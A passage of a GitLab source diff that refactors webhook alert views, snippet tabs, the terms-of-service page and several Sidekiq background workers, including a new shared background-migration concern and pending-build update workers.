--- /dev/null
+++ b/app/views/shared/web_hooks/_hook_errors.html.haml
@@ -0,0 +1,41 @@
+- strong_start = '<strong>'.html_safe
+- strong_end = '</strong>'.html_safe
+- link_start = '<a href="%{url}">'.html_safe
+- link_end = '</a>'.html_safe
+
+- if hook.rate_limited?
+ - support_path = 'https://support.gitlab.com/hc/en-us/requests/new'
+ - placeholders = { strong_start: strong_start,
+ strong_end: strong_end,
+ limit: hook.rate_limit,
+ support_link_start: link_start % { url: support_path },
+ support_link_end: link_end }
+ = render 'shared/global_alert',
+ title: s_('Webhooks|Webhook was automatically disabled'),
+ variant: :danger,
+ is_contained: true,
+ close_button_class: 'js-close' do
+ .gl-alert-body
+ = s_('Webhooks|The webhook was triggered more than %{limit} times per minute and is now disabled. To re-enable this webhook, fix the problems shown in %{strong_start}Recent events%{strong_end}, then re-test your settings. %{support_link_start}Contact Support%{support_link_end} if you need help re-enabling your webhook.').html_safe % placeholders
+- elsif hook.permanently_disabled?
+ = render 'shared/global_alert',
+ title: s_('Webhooks|Webhook failed to connect'),
+ variant: :danger,
+ is_contained: true,
+ close_button_class: 'js-close' do
+ .gl-alert-body
+ = s_('Webhooks|The webhook failed to connect, and is disabled. To re-enable it, check %{strong_start}Recent events%{strong_end} for error details, then test your settings below.').html_safe % { strong_start: strong_start, strong_end: strong_end }
+- elsif hook.temporarily_disabled?
+ - help_path = help_page_path('user/project/integrations/webhooks', anchor: 'webhook-fails-or-multiple-webhook-requests-are-triggered')
+ - placeholders = { strong_start: strong_start,
+ strong_end: strong_end,
+ retry_time: time_interval_in_words(hook.disabled_until - Time.now),
+ help_link_start: link_start % { url: help_path },
+ help_link_end: link_end }
+ = render 'shared/global_alert',
+ title: s_('Webhooks|Webhook fails to connect'),
+ variant: :warning,
+ is_contained: true,
+ close_button_class: 'js-close' do
+ .gl-alert-body
+ = s_('Webhooks|The webhook %{help_link_start}failed to connect%{help_link_end}, and will retry in %{retry_time}. To re-enable it, check %{strong_start}Recent events%{strong_end} for error details, then test your settings below.').html_safe % placeholders
diff --git a/app/views/shared/web_hooks/_title_and_docs.html.haml b/app/views/shared/web_hooks/_title_and_docs.html.haml
index f00f3473efa..c220b46f70f 100644
--- a/app/views/shared/web_hooks/_title_and_docs.html.haml
+++ b/app/views/shared/web_hooks/_title_and_docs.html.haml
@@ -4,7 +4,7 @@
= page_title
- if @project
- - integrations_link_start = '<a href="%{url}">'.html_safe % { url: scoped_integrations_path }
+ - integrations_link_start = '<a href="%{url}">'.html_safe % { url: scoped_integrations_path(project: @project) }
%p= _("%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook.").html_safe % { webhooks_link_start: webhooks_link_start, webhook_type: hook.pluralized_name, integrations_link_start: integrations_link_start, link_end: '</a>'.html_safe }
- else
%p= _("%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project.").html_safe % { webhooks_link_start: webhooks_link_start, webhook_type: hook.pluralized_name, link_end: '</a>'.html_safe }
diff --git a/app/views/shared/wikis/_wiki_content.html.haml b/app/views/shared/wikis/_wiki_content.html.haml
new file mode 100644
index 00000000000..42e8037bb0f
--- /dev/null
+++ b/app/views/shared/wikis/_wiki_content.html.haml
@@ -0,0 +1,2 @@
+.js-wiki-page-content.md.gl-pt-2{ data: { qa_selector: 'wiki_page_content', testid: 'wiki_page_content', tracking_context: wiki_page_tracking_context(@page).to_json } }
+ = render_wiki_content(@page)
diff --git a/app/views/shared/wikis/show.html.haml b/app/views/shared/wikis/show.html.haml
index 8a5cd94bde9..e6980aae3e1 100644
--- a/app/views/shared/wikis/show.html.haml
+++ b/app/views/shared/wikis/show.html.haml
@@ -26,7 +26,6 @@
%div
- if can?(current_user, :create_wiki, @wiki.container) && @page.latest? && @valid_encoding
= link_to sprite_icon('pencil', css_class: 'gl-icon'), wiki_page_path(@wiki, @page, action: :edit), title: 'Edit', role: "button", class: 'btn gl-button btn-icon btn-default js-wiki-edit', data: { qa_selector: 'edit_page_button', testid: 'wiki_edit_button' }
- .js-wiki-page-content.md.gl-pt-2{ data: { qa_selector: 'wiki_page_content', testid: 'wiki_page_content', tracking_context: wiki_page_tracking_context(@page).to_json } }
- = render_wiki_content(@page)
+ = render 'shared/wikis/wiki_content'
= render 'shared/wikis/sidebar'
diff --git a/app/views/snippets/_snippets_scope_menu.html.haml b/app/views/snippets/_snippets_scope_menu.html.haml
index ac6dac8b322..35d21e45c47 100644
--- a/app/views/snippets/_snippets_scope_menu.html.haml
+++ b/app/views/snippets/_snippets_scope_menu.html.haml
@@ -1,31 +1,18 @@
- subject = local_assigns.fetch(:subject, current_user)
- include_private = local_assigns.fetch(:include_private, false)
+- params[:scope] ||= []
-.nav-links.snippet-scope-menu.mobile-separator.nav.nav-tabs
- %li{ class: active_when(params[:scope].nil?) }
- = link_to subject_snippets_path(subject) do
- = _("All")
- %span.badge.badge-muted.badge-pill.gl-badge.sm
- - if include_private
- = counts[:total]
- - else
- = counts[:are_public_or_internal]
-
+= gl_tabs_nav({ class: 'js-snippets-nav-tabs gl-border-b-0 gl-overflow-x-auto gl-flex-grow-1 gl-flex-nowrap' }) do
+ = gl_tab_link_to subject_snippets_path(subject), { item_active: params[:scope].empty? } do
+ = _('All')
+ = gl_tab_counter_badge(include_private ? counts[:total] : counts[:are_public_or_internal])
- if include_private
- %li{ class: active_when(params[:scope] == "are_private") }
- = link_to subject_snippets_path(subject, scope: 'are_private') do
- = _("Private")
- %span.badge.badge-muted.badge-pill.gl-badge.sm
- = counts[:are_private]
-
- %li{ class: active_when(params[:scope] == "are_internal") }
- = link_to subject_snippets_path(subject, scope: 'are_internal') do
- = _("Internal")
- %span.badge.badge-muted.badge-pill.gl-badge.sm
- = counts[:are_internal]
-
- %li{ class: active_when(params[:scope] == "are_public") }
- = link_to subject_snippets_path(subject, scope: 'are_public') do
- = _("Public")
- %span.badge.badge-muted.badge-pill.gl-badge.sm
- = counts[:are_public]
+ = gl_tab_link_to subject_snippets_path(subject, scope: 'are_private') do
+ = _('Private')
+ = gl_tab_counter_badge(counts[:are_private])
+ = gl_tab_link_to subject_snippets_path(subject, scope: 'are_internal') do
+ = _('Internal')
+ = gl_tab_counter_badge(counts[:are_internal])
+ = gl_tab_link_to subject_snippets_path(subject, scope: 'are_public') do
+ = _('Public')
+ = gl_tab_counter_badge(counts[:are_public])
diff --git a/app/views/users/_overview.html.haml b/app/views/users/_overview.html.haml
index 0d904de9372..7e745efd069 100644
--- a/app/views/users/_overview.html.haml
+++ b/app/views/users/_overview.html.haml
@@ -2,14 +2,14 @@
.row.d-none.d-sm-flex
.col-12.calendar-block.gl-my-3
- .user-calendar.light{ data: { calendar_path: user_calendar_path(@user, :json), calendar_activities_path: user_calendar_activities_path, utc_offset: local_time_instance(@user.timezone).now.utc_offset } }
+ .user-calendar.light{ data: { calendar_path: user_calendar_path(@user, :json), calendar_activities_path: user_calendar_activities_path, utc_offset: local_timezone_instance(@user.timezone).now.utc_offset } }
.gl-spinner.gl-spinner-md.gl-my-8
.user-calendar-error.invisible
= _('There was an error loading users activity calendar.')
%a.js-retry-load{ href: '#' }
= s_('UserProfile|Retry')
.user-calendar-activities
-- if @user.user_readme
+- if @user.user_readme&.rich_viewer
.row.justify-content-center
.col-12.col-md-10.col-lg-8.gl-my-6
.gl-display-flex
diff --git a/app/views/users/calendar_activities.html.haml b/app/views/users/calendar_activities.html.haml
index cffeb55597f..8da1aa09215 100644
--- a/app/views/users/calendar_activities.html.haml
+++ b/app/views/users/calendar_activities.html.haml
@@ -7,7 +7,7 @@
%li
%span.light.js-localtime{ :data => { :datetime => event.created_at.utc.strftime('%Y-%m-%dT%H:%M:%SZ'), :toggle => 'tooltip', :placement => 'top' } }
= sprite_icon('clock', css_class: 'gl-vertical-align-text-bottom')
- = event.created_at.to_time.in_time_zone(@user.timezone).strftime('%-I:%M%P')
+ = event.created_at.to_time.in_time_zone(local_timezone_instance(@user.timezone)).strftime('%-I:%M%P')
- if event.visible_to_user?(current_user)
- if event.push_action?
#{event.action_name} #{event.ref_type}
diff --git a/app/views/users/show.html.haml b/app/views/users/show.html.haml
index 522f0f771cd..ca276519758 100644
--- a/app/views/users/show.html.haml
+++ b/app/views/users/show.html.haml
@@ -2,8 +2,7 @@
- @hide_breadcrumbs = true
- @no_container = true
- page_title user_display_name(@user)
-- page_description @user.bio
-- header_title @user.name, user_path(@user)
+- page_description @user.bio unless @user.blocked? || !@user.confirmed?
- page_itemtype 'http://schema.org/Person'
- link_classes = "flex-grow-1 mx-1 "
diff --git a/app/views/users/terms/index.html.haml b/app/views/users/terms/index.html.haml
index 92095e78f69..c461250fc9b 100644
--- a/app/views/users/terms/index.html.haml
+++ b/app/views/users/terms/index.html.haml
@@ -1,23 +1,6 @@
-- redirect_params = { redirect: @redirect } if @redirect
-- accept_term_link = accept_term_path(@term, redirect_params)
+- content_for :page_specific_javascripts do
+ = render "layouts/google_tag_manager_head"
+ = render "layouts/one_trust"
+= render "layouts/google_tag_manager_body"
-- if Feature.enabled?(:terms_of_service_vue, current_user, default_enabled: :yaml)
- #js-terms-of-service{ data: { terms_data: terms_data(@term, @redirect) } }
-- else
- .card-body.rendered-terms{ data: { qa_selector: 'terms_content' } }
- = markdown_field(@term, :terms)
- - if current_user
- = render_if_exists 'devise/shared/form_phone_verification', accept_term_link: accept_term_link, inline: true
- .card-footer.footer-block.clearfix
- - if can?(current_user, :accept_terms, @term)
- .float-right
- = button_to accept_term_link, class: 'gl-button btn btn-confirm gl-ml-3', data: { qa_selector: 'accept_terms_button' } do
- = _('Accept terms')
- - else
- .float-right
- = link_to root_path, class: 'gl-button btn btn-confirm gl-ml-3' do
- = _('Continue')
- - if can?(current_user, :decline_terms, @term)
- .float-right
- = button_to decline_term_path(@term, redirect_params), class: 'gl-button btn btn-default gl-ml-3' do
- = _('Decline and sign out')
+#js-terms-of-service{ data: { terms_data: terms_data(@term, @redirect) } }
diff --git a/app/workers/all_queues.yml b/app/workers/all_queues.yml
index 699744b355c..e5ac9da37c6 100644
--- a/app/workers/all_queues.yml
+++ b/app/workers/all_queues.yml
@@ -1447,6 +1447,24 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: pipeline_background:ci_pending_builds_update_group
+ :worker_name: Ci::PendingBuilds::UpdateGroupWorker
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
+- :name: pipeline_background:ci_pending_builds_update_project
+ :worker_name: Ci::PendingBuilds::UpdateProjectWorker
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: pipeline_background:ci_pipeline_artifacts_coverage_report
:worker_name: Ci::PipelineArtifacts::CoverageReportWorker
:feature_category: :code_testing
@@ -1458,7 +1476,7 @@
:tags: []
- :name: pipeline_background:ci_pipeline_artifacts_create_quality_report
:worker_name: Ci::PipelineArtifacts::CreateQualityReportWorker
- :feature_category: :code_testing
+ :feature_category: :code_quality
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1559,7 +1577,7 @@
:worker_name: Ci::CreateDownstreamPipelineWorker
:feature_category: :continuous_integration
:has_external_dependencies:
- :urgency: :low
+ :urgency: :high
:resource_boundary: :cpu
:weight: 3
:idempotent:
@@ -1913,7 +1931,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent:
+ :idempotent: true
:tags: []
- :name: bulk_imports_export_request
:worker_name: BulkImports::ExportRequestWorker
@@ -2474,6 +2492,15 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: namespaces_process_sync_events
+ :worker_name: Namespaces::ProcessSyncEventsWorker
+ :feature_category: :sharding
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: new_issue
:worker_name: NewIssueWorker
:feature_category: :team_planning
@@ -2645,6 +2672,15 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: projects_process_sync_events
+ :worker_name: Projects::ProcessSyncEventsWorker
+ :feature_category: :sharding
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: projects_schedule_bulk_repository_shard_moves
:worker_name: Projects::ScheduleBulkRepositoryShardMovesWorker
:feature_category: :gitaly
@@ -2717,15 +2753,6 @@
:weight: 1
:idempotent: true
:tags: []
-- :name: propagate_service_template
- :worker_name: PropagateServiceTemplateWorker
- :feature_category: :integrations
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 1
- :idempotent:
- :tags: []
- :name: reactive_caching
:worker_name: ReactiveCachingWorker
:feature_category: :not_owned
diff --git a/app/workers/background_migration/single_database_worker.rb b/app/workers/background_migration/single_database_worker.rb
new file mode 100644
index 00000000000..b6661d4fd14
--- /dev/null
+++ b/app/workers/background_migration/single_database_worker.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+module BackgroundMigration
+ module SingleDatabaseWorker
+ extend ActiveSupport::Concern
+
+ include ApplicationWorker
+
+ MAX_LEASE_ATTEMPTS = 5
+
+ included do
+ data_consistency :always
+
+ sidekiq_options retry: 3
+
+ feature_category :database
+ urgency :throttled
+ loggable_arguments 0, 1
+ end
+
+ class_methods do
+ # The minimum amount of time between processing two jobs of the same migration
+ # class.
+ #
+ # This interval is set to 2 or 5 minutes so autovacuuming and other
+ # maintenance related tasks have plenty of time to clean up after a migration
+ # has been performed.
+ def minimum_interval
+ 2.minutes.to_i
+ end
+
+ def tracking_database
+ raise NotImplementedError, "#{self.name} does not implement #{__method__}"
+ end
+
+ def unhealthy_metric_name
+ raise NotImplementedError, "#{self.name} does not implement #{__method__}"
+ end
+ end
+
+ # Performs the background migration.
+ #
+ # See Gitlab::BackgroundMigration.perform for more information.
+ #
+ # class_name - The class name of the background migration to run.
+ # arguments - The arguments to pass to the migration class.
+ # lease_attempts - The number of times we will try to obtain an exclusive
+ # lease on the class before giving up. See MR for more discussion.
+ # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45298#note_434304956
+ def perform(class_name, arguments = [], lease_attempts = MAX_LEASE_ATTEMPTS)
+ job_coordinator.with_shared_connection do
+ perform_with_connection(class_name, arguments, lease_attempts)
+ end
+ end
+
+ private
+
+ def job_coordinator
+ @job_coordinator ||= Gitlab::BackgroundMigration.coordinator_for_database(self.class.tracking_database)
+ end
+
+ def perform_with_connection(class_name, arguments, lease_attempts)
+ with_context(caller_id: class_name.to_s) do
+ retried = lease_attempts != MAX_LEASE_ATTEMPTS
+ attempts_left = lease_attempts - 1
+ should_perform, ttl = perform_and_ttl(class_name, attempts_left, retried)
+
+ break if should_perform.nil?
+
+ if should_perform
+ job_coordinator.perform(class_name, arguments)
+ else
+ # If the lease could not be obtained this means either another process is
+ # running a migration of this class or we ran one recently. In this case
+ # we'll reschedule the job in such a way that it is picked up again around
+ # the time the lease expires.
+ self.class
+ .perform_in(ttl || self.class.minimum_interval, class_name, arguments, attempts_left)
+ end
+ end
+ end
+
+ def perform_and_ttl(class_name, attempts_left, retried)
+ # In test environments `perform_in` will run right away. This can then
+ # lead to stack level errors in the above `#perform`. To work around this
+ # we'll just perform the migration right away in the test environment.
+ return [true, nil] if always_perform?
+
+ lease = lease_for(class_name, retried)
+ lease_obtained = !!lease.try_obtain
+ healthy_db = healthy_database?
+ perform = lease_obtained && healthy_db
+
+ database_unhealthy_counter.increment if lease_obtained && !healthy_db
+
+ # When the DB is unhealthy or the lease can't be obtained after several tries,
+ # then give up on the job and log a warning. Otherwise we could end up in
+ # an infinite rescheduling loop. Jobs can be tracked in the database with the
+ # use of Gitlab::Database::BackgroundMigrationJob
+ if !perform && attempts_left < 0
+ msg = if !lease_obtained
+ 'Job could not get an exclusive lease after several tries. Giving up.'
+ else
+ 'Database was unhealthy after several tries. Giving up.'
+ end
+
+ Sidekiq.logger.warn(class: class_name, message: msg, job_id: jid)
+
+ return [nil, nil]
+ end
+
+ [perform, lease.ttl]
+ end
+
+ def lease_for(class_name, retried)
+ Gitlab::ExclusiveLease
+ .new(lease_key_for(class_name, retried), timeout: self.class.minimum_interval)
+ end
+
+ def lease_key_for(class_name, retried)
+ key = "#{self.class.name}:#{class_name}"
+ # We use a different exclusive lock key for retried jobs to allow them running concurrently with the scheduled jobs.
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68763 for more information.
+ key += ":retried" if retried
+ key
+ end
+
+ def always_perform?
+ Rails.env.test?
+ end
+
+ # Returns true if the database is healthy enough to allow the migration to be
+ # performed.
+ #
+ # class_name - The name of the background migration that we might want to
+ # run.
+ def healthy_database?
+ !Postgresql::ReplicationSlot.lag_too_great?
+ end
+
+ def database_unhealthy_counter
+ Gitlab::Metrics.counter(
+ self.class.unhealthy_metric_name,
+ 'The number of times a background migration is rescheduled because the database is unhealthy.'
+ )
+ end
+ end
+end
diff --git a/app/workers/background_migration_worker.rb b/app/workers/background_migration_worker.rb
index b771ab4d4e7..dea0d467eca 100644
--- a/app/workers/background_migration_worker.rb
+++ b/app/workers/background_migration_worker.rb
@@ -1,120 +1,13 @@
# frozen_string_literal: true
class BackgroundMigrationWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
+ include BackgroundMigration::SingleDatabaseWorker
- MAX_LEASE_ATTEMPTS = 5
-
- data_consistency :always
-
- sidekiq_options retry: 3
-
- feature_category :database
- urgency :throttled
- loggable_arguments 0, 1
-
- # The minimum amount of time between processing two jobs of the same migration
- # class.
- #
- # This interval is set to 2 or 5 minutes so autovacuuming and other
- # maintenance related tasks have plenty of time to clean up after a migration
- # has been performed.
- def self.minimum_interval
- 2.minutes.to_i
- end
-
- # Performs the background migration.
- #
- # See Gitlab::BackgroundMigration.perform for more information.
- #
- # class_name - The class name of the background migration to run.
- # arguments - The arguments to pass to the migration class.
- # lease_attempts - The number of times we will try to obtain an exclusive
- # lease on the class before giving up. See MR for more discussion.
- # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45298#note_434304956
- def perform(class_name, arguments = [], lease_attempts = MAX_LEASE_ATTEMPTS)
- with_context(caller_id: class_name.to_s) do
- retried = lease_attempts != MAX_LEASE_ATTEMPTS
- attempts_left = lease_attempts - 1
- should_perform, ttl = perform_and_ttl(class_name, attempts_left, retried)
-
- break if should_perform.nil?
-
- if should_perform
- Gitlab::BackgroundMigration.perform(class_name, arguments)
- else
- # If the lease could not be obtained this means either another process is
- # running a migration of this class or we ran one recently. In this case
- # we'll reschedule the job in such a way that it is picked up again around
- # the time the lease expires.
- self.class
- .perform_in(ttl || self.class.minimum_interval, class_name, arguments, attempts_left)
- end
- end
- end
-
- def perform_and_ttl(class_name, attempts_left, retried)
- # In test environments `perform_in` will run right away. This can then
- # lead to stack level errors in the above `#perform`. To work around this
- # we'll just perform the migration right away in the test environment.
- return [true, nil] if always_perform?
-
- lease = lease_for(class_name, retried)
- lease_obtained = !!lease.try_obtain
- healthy_db = healthy_database?
- perform = lease_obtained && healthy_db
-
- database_unhealthy_counter.increment if lease_obtained && !healthy_db
-
- # When the DB is unhealthy or the lease can't be obtained after several tries,
- # then give up on the job and log a warning. Otherwise we could end up in
- # an infinite rescheduling loop. Jobs can be tracked in the database with the
- # use of Gitlab::Database::BackgroundMigrationJob
- if !perform && attempts_left < 0
- msg = if !lease_obtained
- 'Job could not get an exclusive lease after several tries. Giving up.'
- else
- 'Database was unhealthy after several tries. Giving up.'
- end
-
- Sidekiq.logger.warn(class: class_name, message: msg, job_id: jid)
-
- return [nil, nil]
- end
-
- [perform, lease.ttl]
- end
-
- def lease_for(class_name, retried)
- Gitlab::ExclusiveLease
- .new(lease_key_for(class_name, retried), timeout: self.class.minimum_interval)
- end
-
- def lease_key_for(class_name, retried)
- key = "#{self.class.name}:#{class_name}"
- # We use a different exclusive lock key for retried jobs to allow them running concurrently with the scheduled jobs.
- # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68763 for more information.
- key += ":retried" if retried
- key
- end
-
- def always_perform?
- Rails.env.test?
- end
-
- # Returns true if the database is healthy enough to allow the migration to be
- # performed.
- #
- # class_name - The name of the background migration that we might want to
- # run.
- def healthy_database?
- !Postgresql::ReplicationSlot.lag_too_great?
+ def self.tracking_database
+ @tracking_database ||= Gitlab::BackgroundMigration::DEFAULT_TRACKING_DATABASE
end
- def database_unhealthy_counter
- Gitlab::Metrics.counter(
- :background_migration_database_health_reschedules,
- 'The number of times a background migration is rescheduled because the database is unhealthy.'
- )
+ def self.unhealthy_metric_name
+ @unhealthy_metric_name ||= :background_migration_database_health_reschedules
end
end
diff --git a/app/workers/bulk_imports/entity_worker.rb b/app/workers/bulk_imports/entity_worker.rb
index 5c04cdc96a0..70d6626df91 100644
--- a/app/workers/bulk_imports/entity_worker.rb
+++ b/app/workers/bulk_imports/entity_worker.rb
@@ -12,6 +12,9 @@ module BulkImports
worker_has_external_dependencies!
+ idempotent!
+ deduplicate :until_executed, including_scheduled: true
+
def perform(entity_id, current_stage = nil)
return if stage_running?(entity_id, current_stage)
@@ -48,7 +51,7 @@ module BulkImports
end
def next_pipeline_trackers_for(entity_id)
- BulkImports::Tracker.next_pipeline_trackers_for(entity_id)
+ BulkImports::Tracker.next_pipeline_trackers_for(entity_id).update(status_event: 'enqueue')
end
def logger
diff --git a/app/workers/bulk_imports/pipeline_worker.rb b/app/workers/bulk_imports/pipeline_worker.rb
index 35633b55489..8e5d7013c2c 100644
--- a/app/workers/bulk_imports/pipeline_worker.rb
+++ b/app/workers/bulk_imports/pipeline_worker.rb
@@ -16,7 +16,7 @@ module BulkImports
def perform(pipeline_tracker_id, stage, entity_id)
pipeline_tracker = ::BulkImports::Tracker
- .with_status(:created, :started)
+ .with_status(:enqueued)
.find_by_id(pipeline_tracker_id)
if pipeline_tracker.present?
@@ -68,6 +68,8 @@ module BulkImports
message: "Retrying error: #{e.message}"
)
+ pipeline_tracker.update!(status_event: 'retry', jid: jid)
+
reenqueue(pipeline_tracker, delay: e.retry_delay)
else
fail_tracker(pipeline_tracker, e)
diff --git a/app/workers/ci/create_downstream_pipeline_worker.rb b/app/workers/ci/create_downstream_pipeline_worker.rb
index 6d4cd2539c1..747cb088272 100644
--- a/app/workers/ci/create_downstream_pipeline_worker.rb
+++ b/app/workers/ci/create_downstream_pipeline_worker.rb
@@ -7,6 +7,7 @@ module Ci
sidekiq_options retry: 3
worker_resource_boundary :cpu
+ urgency :high
def perform(bridge_id)
::Ci::Bridge.find_by_id(bridge_id).try do |bridge|
diff --git a/app/workers/ci/pending_builds/update_group_worker.rb b/app/workers/ci/pending_builds/update_group_worker.rb
new file mode 100644
index 00000000000..3ee3a9116d8
--- /dev/null
+++ b/app/workers/ci/pending_builds/update_group_worker.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Ci
+ module PendingBuilds
+ class UpdateGroupWorker
+ include ApplicationWorker
+ include PipelineBackgroundQueue
+
+ data_consistency :always
+ idempotent!
+
+ def perform(group_id, update_params)
+ ::Group.find_by_id(group_id).try do |group|
+ ::Ci::UpdatePendingBuildService.new(group, update_params).execute
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/ci/pending_builds/update_project_worker.rb b/app/workers/ci/pending_builds/update_project_worker.rb
new file mode 100644
index 00000000000..bac0316c80b
--- /dev/null
+++ b/app/workers/ci/pending_builds/update_project_worker.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Ci
+ module PendingBuilds
+ class UpdateProjectWorker
+ include ApplicationWorker
+ include PipelineBackgroundQueue
+
+ data_consistency :always
+ idempotent!
+
+ def perform(project_id, update_params)
+ ::Project.find_by_id(project_id).try do |project|
+ ::Ci::UpdatePendingBuildService.new(project, update_params).execute
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/ci/pipeline_artifacts/create_quality_report_worker.rb b/app/workers/ci/pipeline_artifacts/create_quality_report_worker.rb
index bb0a81a0a17..dc7e8f888c6 100644
--- a/app/workers/ci/pipeline_artifacts/create_quality_report_worker.rb
+++ b/app/workers/ci/pipeline_artifacts/create_quality_report_worker.rb
@@ -10,7 +10,7 @@ module Ci
sidekiq_options retry: 3
queue_namespace :pipeline_background
- feature_category :code_testing
+ feature_category :code_quality
idempotent!
diff --git a/app/workers/concerns/application_worker.rb b/app/workers/concerns/application_worker.rb
index 03a0b5fae00..d0b09c15289 100644
--- a/app/workers/concerns/application_worker.rb
+++ b/app/workers/concerns/application_worker.rb
@@ -93,9 +93,11 @@ module ApplicationWorker
end
def perform_async(*args)
+ return super if Gitlab::Database::LoadBalancing.primary_only?
+
# Worker execution for workers with data_consistency set to :delayed or :sticky
# will be delayed to give replication enough time to complete
- if utilizes_load_balancing_capabilities?
+ if utilizes_load_balancing_capabilities? && Feature.disabled?(:skip_scheduling_workers_for_replicas, default_enabled: :yaml)
perform_in(delay_interval, *args)
else
super
diff --git a/app/workers/expire_job_cache_worker.rb b/app/workers/expire_job_cache_worker.rb
index 3c5a7717d70..49f0222e9c9 100644
--- a/app/workers/expire_job_cache_worker.rb
+++ b/app/workers/expire_job_cache_worker.rb
@@ -15,19 +15,10 @@ class ExpireJobCacheWorker # rubocop:disable Scalability/IdempotentWorker
idempotent!
def perform(job_id)
- job = CommitStatus.preload(:pipeline, :project).find_by_id(job_id) # rubocop: disable CodeReuse/ActiveRecord
+ job = CommitStatus.find_by_id(job_id)
return unless job
- pipeline = job.pipeline
- project = job.project
-
- Gitlab::EtagCaching::Store.new.touch(project_job_path(project, job))
- ExpirePipelineCacheWorker.perform_async(pipeline.id)
- end
-
- private
-
- def project_job_path(project, job)
- Gitlab::Routing.url_helpers.project_build_path(project, job.id, format: :json)
+ job.expire_etag_cache!
+ ExpirePipelineCacheWorker.perform_async(job.pipeline_id)
end
end
diff --git a/app/workers/issuable_export_csv_worker.rb b/app/workers/issuable_export_csv_worker.rb
index 9d543a21dc3..ffa0ed68fc7 100644
--- a/app/workers/issuable_export_csv_worker.rb
+++ b/app/workers/issuable_export_csv_worker.rb
@@ -41,7 +41,7 @@ class IssuableExportCsvWorker # rubocop:disable Scalability/IdempotentWorker
def parse_params(params, project_id)
params
- .symbolize_keys
+ .with_indifferent_access
.except(:sort)
.merge(project_id: project_id)
end
diff --git a/app/workers/issue_placement_worker.rb b/app/workers/issue_placement_worker.rb
index cfd72b90a42..26dec221f45 100644
--- a/app/workers/issue_placement_worker.rb
+++ b/app/workers/issue_placement_worker.rb
@@ -1,5 +1,8 @@
# frozen_string_literal: true
+# DEPRECATED. Will be removed in 14.7 https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72803
+# Please use Issues::PlacementWorker instead
+#
# todo: remove this worker and it's queue definition from all_queues after Issues::PlacementWorker is deployed
# We want to keep it for one release in case some jobs are already scheduled in the old queue so we need the worker
# to be available to finish those. All new jobs will be queued into the new queue.
@@ -43,10 +46,10 @@ class IssuePlacementWorker
Issue.move_nulls_to_end(to_place)
Issues::BaseService.new(project: nil).rebalance_if_needed(to_place.max_by(&:relative_position))
- IssuePlacementWorker.perform_async(nil, leftover.project_id) if leftover.present?
+ Issues::PlacementWorker.perform_async(nil, leftover.project_id) if leftover.present?
rescue RelativePositioning::NoSpaceLeft => e
Gitlab::ErrorTracking.log_exception(e, issue_id: issue_id, project_id: project_id)
- IssueRebalancingWorker.perform_async(nil, *root_namespace_id_to_rebalance(issue, project_id))
+ Issues::RebalancingWorker.perform_async(nil, *root_namespace_id_to_rebalance(issue, project_id))
end
def find_issue(issue_id, project_id)
diff --git a/app/workers/issue_rebalancing_worker.rb b/app/workers/issue_rebalancing_worker.rb
index a43e76feae4..73edb2eb653 100644
--- a/app/workers/issue_rebalancing_worker.rb
+++ b/app/workers/issue_rebalancing_worker.rb
@@ -1,5 +1,8 @@
# frozen_string_literal: true
+# DEPRECATED. Will be removed in 14.7 https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72803
+# Please use Issues::RebalancingWorker instead
+#
# todo: remove this worker and it's queue definition from all_queues after Issue::RebalancingWorker is released.
# We want to keep it for one release in case some jobs are already scheduled in the old queue so we need the worker
# to be available to finish those. All new jobs will be queued into the new queue.
diff --git a/app/workers/issues/rebalancing_worker.rb b/app/workers/issues/rebalancing_worker.rb
index 466617d9fa1..8de0588a2a1 100644
--- a/app/workers/issues/rebalancing_worker.rb
+++ b/app/workers/issues/rebalancing_worker.rb
@@ -17,6 +17,7 @@ module Issues
# we need to have exactly one of the project_id and root_namespace_id params be non-nil
raise ArgumentError, "Expected only one of the params project_id: #{project_id} and root_namespace_id: #{root_namespace_id}" if project_id && root_namespace_id
return if project_id.nil? && root_namespace_id.nil?
+ return if ::Gitlab::Issues::Rebalancing::State.rebalance_recently_finished?(project_id, root_namespace_id)
# pull the projects collection to be rebalanced either the project if namespace is not a group(i.e. user namesapce)
# or the root namespace, this also makes the worker backward compatible with previous version where a project_id was
diff --git a/app/workers/issues/reschedule_stuck_issue_rebalances_worker.rb b/app/workers/issues/reschedule_stuck_issue_rebalances_worker.rb
index d1759589cc0..77cedae558b 100644
--- a/app/workers/issues/reschedule_stuck_issue_rebalances_worker.rb
+++ b/app/workers/issues/reschedule_stuck_issue_rebalances_worker.rb
@@ -20,13 +20,13 @@ module Issues
namespaces = Namespace.id_in(namespace_ids)
projects = Project.id_in(project_ids)
- IssueRebalancingWorker.bulk_perform_async_with_contexts(
+ Issues::RebalancingWorker.bulk_perform_async_with_contexts(
namespaces,
arguments_proc: -> (namespace) { [nil, nil, namespace.id] },
